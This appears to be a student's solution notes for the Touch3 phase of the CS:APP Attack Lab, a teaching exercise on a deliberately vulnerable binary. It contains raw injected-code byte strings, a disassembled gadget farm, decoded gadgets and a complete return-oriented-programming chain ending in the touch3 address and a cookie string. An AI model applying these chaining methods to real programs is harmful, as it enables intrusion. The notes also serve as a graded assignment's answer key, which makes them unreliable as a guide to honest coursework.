Touch3:

```
48 bf 34 31 33 31 32 65 36 31 48 ba fc 59 55 55 55 55 00 00 52 c3 00 00 00 00 00 00 48 bf 34 31
33 31 32 65 36 31 48 ba fc 59 55 55 55 55 00 00 52 c3 00 00 00 00 00 00 d8 8e 65 55 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 8e 65 55 00 00 00 00

bf 18 8f 65 55 48 ba 13 5b 55 55 55 55 00 00 52 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 8e 65 55 00 00 00 00
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0000000000001bb0 <start_farm>:
    1bb0:       b8 01 00 00 00          mov    $0x1,%eax
    1bb5:       c3                      retq

0000000000001bb6 <getval_127>:
    1bb6:       b8 b0 4c 89 c7          mov    $0xc7894cb0,%eax
    1bbb:       c3                      retq

0000000000001bbc <getval_386>:
    1bbc:       b8 06 35 be 58          mov    $0x58be3506,%eax
    1bc1:       c3                      retq

0000000000001bc2 <addval_142>:
    1bc2:       8d 87 48 89 c7 c3       lea    -0x3c3876b8(%rdi),%eax
    1bc8:       c3                      retq

0000000000001bc9 <getval_420>:
    1bc9:       b8 58 94 90 90          mov    $0x90909458,%eax
    1bce:       c3                      retq

0000000000001bcf <getval_444>:
    1bcf:       b8 f6 48 89 c7          mov    $0xc78948f6,%eax
    1bd4:       c3                      retq

0000000000001bd5 <addval_165>:
    1bd5:       8d 87 4a 89 c7 90       lea    -0x6f3876b6(%rdi),%eax
    1bdb:       c3                      retq

0000000000001bdc <setval_201>:
    1bdc:       c7 07 4a 58 91 90       movl   $0x9091584a,(%rdi)
    1be2:       c3                      retq

0000000000001be3 <getval_404>:
    1be3:       b8 58 90 c3 ee          mov    $0xeec39058,%eax
    1be8:       c3                      retq

0000000000001be9 <mid_farm>:
    1be9:       b8 01 00 00 00          mov    $0x1,%eax
    1bee:       c3                      retq

0000000000001bef <add_xy>:
    1bef:       48 8d 04 37             lea    (%rdi,%rsi,1),%rax
    1bf3:       c3                      retq

0000000000001bf4 <getval_221>:
    1bf4:       b8 89 ce 94 c3          mov    $0xc394ce89,%eax
    1bf9:       c3                      retq

0000000000001bfa <setval_147>:
    1bfa:       c7 07 89 ce 78 d2       movl   $0xd278ce89,(%rdi)
    1c00:	c3                   	retq   

0000000000001c01 <addval_321>:
    1c01:	8d 87 89 ce 38 c0    	lea    -0x3fc73177(%rdi),%eax
    1c07:	c3                   	retq   

0000000000001c08 <getval_102>:
    1c08:	b8 81 d1 08 c0       	mov    $0xc008d181,%eax
    1c0d:	c3                   	retq   

0000000000001c0e <getval_307>:
    1c0e:	b8 48 89 e0 90       	mov    $0x90e08948,%eax
    1c13:	c3                   	retq   

0000000000001c14 <addval_137>:
    1c14:	8d 87 89 ce c2 1f    	lea    0x1fc2ce89(%rdi),%eax
    1c1a:	c3                   	retq   

0000000000001c1b <addval_491>:
    1c1b:	8d 87 48 89 e0 94    	lea    -0x6b1f76b8(%rdi),%eax
    1c21:	c3                   	retq   

0000000000001c22 <getval_299>:
    1c22:	b8 89 d1 00 c0       	mov    $0xc000d189,%eax
    1c27:	c3                   	retq   

0000000000001c28 <getval_373>:
    1c28:	b8 89 c2 94 90       	mov    $0x9094c289,%eax
    1c2d:	c3                   	retq   

0000000000001c2e <getval_305>:
    1c2e:	b8 8b d1 08 db       	mov    $0xdb08d18b,%eax
    1c33:	c3                   	retq   

0000000000001c34 <setval_320>:
    1c34:	c7 07 89 ce 94 c3    	movl   $0xc394ce89,(%rdi)
    1c3a:	c3                   	retq   

0000000000001c3b <getval_385>:
    1c3b:	b8 48 89 e0 90       	mov    $0x90e08948,%eax
    1c40:	c3                   	retq   

0000000000001c41 <getval_116>:
    1c41:	b8 81 d1 c3 94       	mov    $0x94c3d181,%eax
    1c46:	c3                   	retq   

0000000000001c47 <getval_391>:
    1c47:	b8 89 c2 94 90       	mov    $0x9094c289,%eax
    1c4c:	c3                   	retq   
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0000000000001c4d <setval_234>:
  1c4d:     c7 07 89 c2 28 d2      movl   $0xd228c289,(%rdi)
  1c53:     c3                     retq

0000000000001c54 <getval_313>:
  1c54:     b8 8b ce 38 c0         mov    $0xc038ce8b,%eax
  1c59:     c3                     retq

0000000000001c5a <addval_480>:
  1c5a:     8d 87 89 c2 c3 db      lea    -0x243c3d77(%rdi),%eax
  1c60:     c3                     retq

0000000000001c61 <setval_247>:
  1c61:     c7 07 88 c2 84 c9      movl   $0xc984c288,(%rdi)
  1c67:     c3                     retq

0000000000001c68 <getval_216>:
  1c68:     b8 4a 89 e0 c3         mov    $0xc3e0894a,%eax
  1c6d:     c3                     retq

0000000000001c6e <getval_225>:
  1c6e:     b8 1f 99 d1 c3         mov    $0xc3d1991f,%eax
  1c73:     c3                     retq

0000000000001c74 <getval_454>:
  1c74:     b8 89 ce 38 db         mov    $0xdb38ce89,%eax
  1c79:     c3                     retq

0000000000001c7a <addval_445>:
  1c7a:     8d 87 89 d1 08 db      lea    -0x24f72e77(%rdi),%eax
  1c80:     c3                     retq

0000000000001c81 <getval_400>:
  1c81:     b8 89 d1 08 c9         mov    $0xc908d189,%eax
  1c86:     c3                     retq

0000000000001c87 <getval_464>:
  1c87:     b8 a7 49 89 e0         mov    $0xe08949a7,%eax
  1c8c:     c3                     retq

0000000000001c8d <getval_108>:
  1c8d:     b8 76 99 c2 c3         mov    $0xc3c29976,%eax
  1c92:     c3                     retq

0000000000001c93 <setval_393>:
  1c93:     c7 07 58 89 e0 c3      movl   $0xc3e08958,(%rdi)
  1c99:     c3                     retq

0000000000001c9a <addval_341>:
  1c9a:     8d 87 81 c2 38 c9      lea    -0x36c73d7f(%rdi),%eax
  1ca0:	c3                   	retq   

0000000000001ca1 <setval_156>:
  1ca1:	c7 07 89 c2 84 d2    	movl   $0xd284c289,(%rdi)
  1ca7:	c3                   	retq   

0000000000001ca8 <setval_463>:
  1ca8:	c7 07 89 d1 91 90    	movl   $0x9091d189,(%rdi)
  1cae:	c3                   	retq   

0000000000001caf <getval_121>:
  1caf:	b8 89 ce 94 90       	mov    $0x9094ce89,%eax
  1cb4:	c3                   	retq   

0000000000001cb5 <setval_136>:
  1cb5:	c7 07 48 89 e0 c1    	movl   $0xc1e08948,(%rdi)
  1cbb:	c3                   	retq   

0000000000001cbc <addval_369>:
  1cbc:	8d 87 48 81 e0 90    	lea    -0x6f1f7eb8(%rdi),%eax
  1cc2:	c3                   	retq   

0000000000001cc3 <end_farm>:
  1cc3:	b8 01 00 00 00       	mov    $0x1,%eax
  1cc8:	c3                   	retq   
```

```
1bb6:   b8 b0 4c 89 c7       mov    $0xc7894cb0,%eax          movl %eax,%edi

1bbc:   b8 06 35 be 58       mov    $0x58be3506,%eax          popq %rax

1bc2:   8d 87 48 89 c7 c3    lea    -0x3c3876b8(%rdi),%eax    movq %rax,%rdi

1bcf:   b8 f6 48 89 c7       mov    $0xc78948f6,%eax          movq %rax,%rdi

1bd5:   8d 87 4a 89 c7 90    lea    -0x6f3876b6(%rdi),%eax    movl %eax,%edi

1be3:   b8 58 90 c3 ee       mov    $0xeec39058,%eax          popq %rax

1c01:   8d 87 89 ce 38 c0    lea    -0x3fc73177(%rdi),%eax    movl %ecx,%esi (cmp %al,
%al)

1c0e:   b8 48 89 e0 90       mov    $0x90e08948,%eax          movq %rsp,%rax

1c3b:   b8 48 89 e0 90       mov    $0x90e08948,%eax          movq %rsp,%rax

1c5a:   8d 87 89 c2 c3 db    lea    -0x243c3d77(%rdi),%eax    movl %eax,%edx

1c68:   b8 4a 89 e0 c3       mov    $0xc3e0894a,%eax          movl %esp,%eax

1c74:   b8 89 ce 38 db       mov    $0xdb38ce89,%eax          movl %ecx,%esi (cmpl %bl,
%bl)

1c7a:   8d 87 89 d1 08 db    lea    -0x24f72e77(%rdi),%eax    movl %edx,%ecx (cmpl %bl,
%bl)

1c81:   b8 89 d1 08 c9       mov    $0xc908d189,%eax          movl %edx,%ecx (cmpl %cl,
%cl)

1c87:   b8 a7 49 89 e0       mov    $0xe08949a7,%eax          movl %esp,%eax

1c93:   c7 07 58 89 e0 c3    movl   $0xc3e08958,(%rdi)        movl %esp,%eax

1ca1:   c7 07 89 c2 84 d2    movl   $0xd284c289,(%rdi)        movl %eax,%edx (testb %dl,
%dl)

1bef:   48 8d 04 37          lea    (%rdi,%rsi,1),%rax
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```
1c0e:     b8 48 89 e0 90        mov    $0x90e08948,%eax            movq %rsp,%rax
1bc2:     8d 87 48 89 c7 c3     lea    -0x3c3876b8(%rdi),%eax      movq %rax,%rdi
1bbc:     b8 06 35 be 58        mov    $0x58be3506,%eax            popq %rax
%rax
1c5a:     8d 87 89 c2 c3 db     lea    -0x243c3d77(%rdi),%eax      movl %eax,%edx
1c7a:     8d 87 89 d1 08 db     lea    -0x24f72e77(%rdi),%eax      movl %edx,%ecx
1c74:     b8 89 ce 38 db        mov    $0xdb38ce89,%eax            movl %ecx,%esi
1bef:     48 8d 04 37          lea    (%rdi,%rsi,1),%rax
1bc2:     8d 87 48 89 c7 c3     lea    -0x3c3876b8(%rdi),%eax      movq %rax,%rdi
touch3 地址
cookie
```

```
0f 5c 55 55 55 55 00 00 movq %rsp,%rax
c4 5b 55 55 55 55 00 00 movq %rax,%rdi
c0 5b 55 55 55 55 00 00 popq %rax
48 00 00 00 00 00 00 00 %rax
5c 5c 55 55 55 55 00 00 movl %eax,%edx
7c 5c 55 55 55 55 00 00 movl %edx,%ecx
75 5c 55 55 55 55 00 00 movl %ecx,%esi
ef 5b 55 55 55 55 00 00 lea    (%rdi,%rsi,1),%rax
c4 5b 55 55 55 55 00 00 movq %rax,%rdi
13 5b 55 55 55 55 00 00 touch3 地址
31 36 65 32 31 33 31 34 cookie
```